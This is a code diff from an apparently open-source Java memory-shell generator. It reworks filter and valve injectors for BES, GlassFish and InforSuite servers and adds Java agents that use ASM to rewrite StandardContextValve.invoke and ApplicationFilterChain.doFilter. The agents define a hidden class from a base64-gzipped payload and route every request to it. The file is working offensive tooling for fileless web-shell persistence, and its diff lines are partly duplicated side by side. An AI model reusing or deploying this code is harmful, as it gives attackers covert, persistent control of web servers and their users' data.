Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -14,8 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesValveInjector { public class BesValveInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -26,21 +25,16 @@ public class BesValveInjector {
} }
public BesValveInjector() { public BesValveInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -49,7 +43,6 @@ public class BesValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -57,7 +50,7 @@ public class BesValveInjector {
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
try { try {
r = (String) getFieldValue(context, "encodedPath"); r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
String c = context.getClass().getName(); String c = context.getClass().getName();
@@ -70,8 +63,8 @@ public class BesValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -81,16 +74,6 @@ public class BesValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -0,0 +1,215 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,215 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -7,7 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
@@ -18,8 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishFilterInjector { public class GlassFishFilterInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -34,21 +33,16 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -57,7 +51,6 @@ public class GlassFishFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -82,8 +75,8 @@ public class GlassFishFilterInjector {
* com.sun.enterprise.web.WebModule * com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar * /xxx/modules/web-glue.jar
*/ */
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -129,18 +122,15 @@ public class GlassFishFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -151,16 +141,19 @@ public class GlassFishFilterInjector {
} }
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try { try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) { } catch (Exception e) {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
try {
// addFilterMapFirst // v7.0.0 以上
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null); invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
filterMaps.add(0, filterMap); } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -231,39 +224,21 @@ public class GlassFishFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
return clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) { field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -14,8 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishValveInjector { public class GlassFishValveInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -27,21 +26,16 @@ public class GlassFishValveInjector {
public GlassFishValveInjector() { public GlassFishValveInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -50,7 +44,6 @@ public class GlassFishValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -71,8 +64,8 @@ public class GlassFishValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -16,8 +16,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -32,21 +31,16 @@ public class InforSuiteFilterInjector {
} }
public InforSuiteFilterInjector() { public InforSuiteFilterInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -55,7 +49,6 @@ public class InforSuiteFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -80,8 +73,8 @@ public class InforSuiteFilterInjector {
* com.cvicse.loong.enterprise.web.WebModule * com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar * /usr/local/inforsuite/as/modules/web-glue.jar
*/ */
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -95,7 +88,7 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -128,28 +121,17 @@ public class InforSuiteFilterInjector {
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try { try {
Object filterMaps = getFieldValue(context, "filterMaps"); invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) { } catch (Exception e) {
// InforSuite10 invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
} }
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -203,54 +185,52 @@ public class InforSuiteFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String fieldName) throws Exception {
for (Class<?> clazz = obj.getClass(); Field field = getField(obj, fieldName);
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} }
